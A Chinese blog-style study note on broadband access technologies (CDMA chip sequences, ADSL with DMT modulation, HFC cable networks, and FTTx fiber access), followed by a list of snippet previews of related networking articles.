    每个比特分成n个码片,每个用户有自己的码片序列,比如1表示成00011011,不同码片序列之间是正交的。接收端会收到所有用户发的数据,用特定用户的码片序列向量做内积,只有该用户的数据可以被积出1和-1(-1表示0),其他用户全是0
    在这里插入图片描述

    宽带接入技术

    在互联网初期,都是用电话的用户线加个调制器连接到ISP的,最高速率只有56kb/s。接入宽带的意思其实就是通过各种改造方法提高速率,所以有人认为只要接入因特网的速率大于56kb/s就是宽带。

    ADSL技术

    非对称数字用户线,就是对用户线改造,使其能够承载宽带数字业务。由于大部分用户上网都是下载资源远多于上传资源,所以下行带宽要高于上行带宽(非对称)
    在这里插入图片描述
    这样改造的好处就是不需要从头布线,可以利用现有的用户线

    ADSL还要配合调解器使用,我国采用的是DMT离散多音调:

    DMT 调制技术采用频分复用的方法,把 40 kHz 以上一直到 1.1 MHz 的高端频谱划分为许多的子信道,其中 25 个子信道用于上行信道,而 249 个子信道用于下行信道。

    每个子信道占据 4 kHz 带宽(严格讲是 4.3125 kHz),并使用不同的载波(即不同的音调)进行数字调制。这种做法相当于在一对用户线上使用许多小的调制解调器并行地传送数据。

    在这里插入图片描述

    光纤同轴混合网(HFC)---- 有线电视上网

    HFC (Hybrid Fiber Coax)网是在目前覆盖面很广的有线电视网 CATV 的基础上开发的一种居民宽带接入网。
    在这里插入图片描述

    FTTx技术

    随着人们上网需求的日益增长
    FTTx( Fiber To The x)也是一种实现宽带居民接入网的方案,俗称光纤到家,但由于各种成本问题,不可能真的到家,也没有必要,所以这里的x指的就是地点,分别为:

    • 光纤到 FTTH (Fiber To The Home):光纤一直铺设到用户家庭可能是居民接入网最后的解决方法。
    • 光纤到大楼 FTTB (Fiber To The Building):光纤进入大楼后就转换为电信号,然后用电缆或双绞线分配到各用户。
    • 光纤到路边 FTTC (Fiber To The Curb):从路边到各用户可使用星形结构双绞线作为传输媒体。

    为了更有效的利用光纤资源,在光纤干路用户之间,还需要铺设一段转换装置(ODN),使得多个用户可以用一根光纤

    在这里插入图片描述


    参考资料:
    《计算机网络》(第六版)

    展开全文
  • 计算机网络之运输

    2020-05-18 11:40:20
    运输层协议概述:从通信处和信息处理角度看,运输层(或传输层)向它上面应用层提供端到端通信服务,属于面向通信部分最高层,同时也是用户功能中最低层。当位于网络边缘部分两台主机使用网络核心部分...
  • 第二章 物理 ...(下层传输媒体不属于物理,只有接口属于物理) 完成数据在计算机内部(并行传输)与通信线路上(串行传输)之间串并传输方式转换。 一个数据通信系统可分为: 源系统,包
  • 详解phpsocket通信

    2021-01-20 00:35:55
    随着网络技术的发展,这些词充斥着我们的耳朵。 那什么是TCP/IP、UDP? TCP/IP(Transmission Control Protocol/Internet Protocol)即传输控制协议/网间协议,是一个工业标准的协议集,它是为广域网(WANs)设计的...
  • 本章首先讨论物理层的基本概念,然后介绍有关数据通信的重要概念,以及各种传输媒体主要特点,但传输媒体本身并不属于物理层的范围。在讨论几种常用信道复用技术后,对数字传输系统进行简单介绍。最后讨论几种...
  • 出现一项技术,首先我们弄懂一下,为什么要出现。那么为什么要出现socket这玩意呢?可以很简单用一句话来概括:为了实现两台...http协议将要发送数据封装后,传到下面一层处理,这下一层就是传输层,也是我...
  • 出现一项技术,首先我们弄懂一下,为什么要出现。那么为什么要出现socket这玩意呢?可以很简单用一句话来概括:为了...http协议将要发送数据封装后,传到下面一层处理,这下一层就是传输层,也是我们今天要说...
  • 三、物联网传输协议上节介绍的物联网组网技术,主要解决的是物理和链路网络连接技术;当设备都连接到同一个物联网络以后,它们的通信必须使用统一的协议,才能进行数据交换以及协同工作。这就是物联网传输协议...
  • HTML5开始提供一种浏览器与服务器进行全双工通讯的网络技术属于应用协议。它基于TCP传输协议,并复用HTTP握手通道。对网络应用协议学习来说,最重要往往就是连接建立过程、数据交换过程。当然,数据...
  • CAN属于总线式串行通信网络。...在RS485通信网络中一般采用的是主从通信方式,即一个主机带多个从机。很多情况下,连接RS-485通信链路时只是简单地用一对双绞线将各个接口的“A”、“B”端连接起来
  • 在ATM中,在传输汇聚子TC上面的是ATM。那么TC子是否也不检查ATM信元的首部? 问题5-9:ATM使用的是面向连接的分组交换技术(采用定长分组——信元)。那么,ATM是否提供了可靠交付的服务呢? 问题5-10:ATM在...
  • 实现一个物理端口上传输多个VLAN数据流,可以使用“标签”(Tagging)技术,即在此端口上对每个数据帧贴上标签(Tag)用于标记该帧所属VLAN,系统利用其VLAN标识号即VLAN ID来确定数据帧转发,这就需要网络设备支持...
  • 下列算法当中,属于非对称的算法的是【D】。 A.RC4 B.GHOST C.DES D.DH 下列选项中不属于加密算法的是【D】。 A.MD5 B.IDEA C.AES D. RC4 下列选项中属于加密算法的是【A】。 A.MD5 B.SHA C.MD4 D. RC4 ...
  • 出现一项技术,首先我们弄懂一下,为什么要出现。那么为什么要出现socket这玩意呢?可以很简单用一句话来概括: ...应用层数据封装之后要发到下面的传输层,那么传输层就需要对外提供接口,让应用层可以调用
  • 数据链路层的传输不能让网络层向下看起来好像是一条不出差错链路。 到底哪一种说法是正确? 问题3-2:当数据链路使用PPP协议或CSMA/CD协议时,既然不保证可靠传输,那么为什么对所传输的帧进行差错检验呢? ...
  • 计算机网络复习题

    2014-12-29 19:01:35
    (4)传输层:完成两台主机上两个进程之间数据通信; (5)会话层:完成进程之间会话管理; (6)表示层:完成数据格式转换以及数据加密、压缩等工作; (7)应用层:是用户访问网络的接口。 请简述TCP/IP...
  •  22、高层互连是指传输层及其以上各层协议不同的网络之间互连。实现高层互连设备是  A、中继器 B、网桥 C、路由器 D、网关  Key: D  23、IP路由器设计重点是提高接收,处理和转发分组速度,其传统IP路由...
  • TCP及改进技术SCTP

    2020-05-30 13:45:48
    TCP(Transmission Control Protoco)协议属于计算机网络体系中运输。运输层的任务是负责向主机中应用进程之间的通信提供通用数据传输服务。所以可以通俗理解TCP协议就是进程间数据通讯传输协议。根据不同应用...
  • 以报文为单位进行存储转发,网络传输时延 大,且占用大量交换机内存和外存,不能满足对实时性要求高用户。报文交换适用于传 输报文较短、实时性要求较低网络用户之间的通信,如公用电报网。 (3)分组交换...
  • 什么是VLAN

    2013-10-23 09:59:12
    不同VLAN内报文在传输时是相互隔离,即一个VLAN内用户不能和其它VLAN内用户直接通信,如果不同VLAN要进行通信,则需要通过路由器或三交换机等三设备。 成本降低  成本高昂的网络升级需求减少,现有带宽...
  • 以报文为单位进行存储转发,网络传输时延 大,且占用大量交换机内存和外存,不能满足对实时性要求高用户。报文交换适用于传 输报文较短、实时性要求较低网络用户之间的通信,如公用电报网。 (3)分组交换...
  • 计算机网络1.0.docx

    2020-07-08 17:47:09
    OSI环境中负责处理语义的是( ),负责处理语法的是____,下面各负责信息从源到目的地的有序移动。 我的答案: 第一空: 应用 第二空: 表示 6 网络操作系统是( )和( )的接口,它管理计算机的( ) 和( )资源,...
  • OSI 模型把网络通信的工作分为 7 层,从下到上分别是物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。 OSI七层模型是一个理论模型,实际应用则千变万化,因此更多把它作为分析、评判各种网络技术的...
  • LoRa是由美国Semtech公司推出的一种基于扩频技术的超远距离无线传输方案,属于低功耗广域网(LoRaWAN),是一种低带宽、远距离、低功耗、连接量多的物联网通信技术。NB-IOT是由3GPP标准化组织定义的物联网窄带射频技术...
  • CISCO 技术大集合

    2013-05-22 01:07:13
    CISCO 技术大集合 {适合你们的技术} 二、命令状态 1. router> 路由器处于用户命令状态,这时用户可以看路由器连接状态,访问其它网络和主机,但不能看到和更改路由器设置内容。 2. router# 在router>提示符...

空空如也

空空如也

1 2 3 4
收藏数 74
精华内容 29
关键字:

属于网络传输层通信技术的是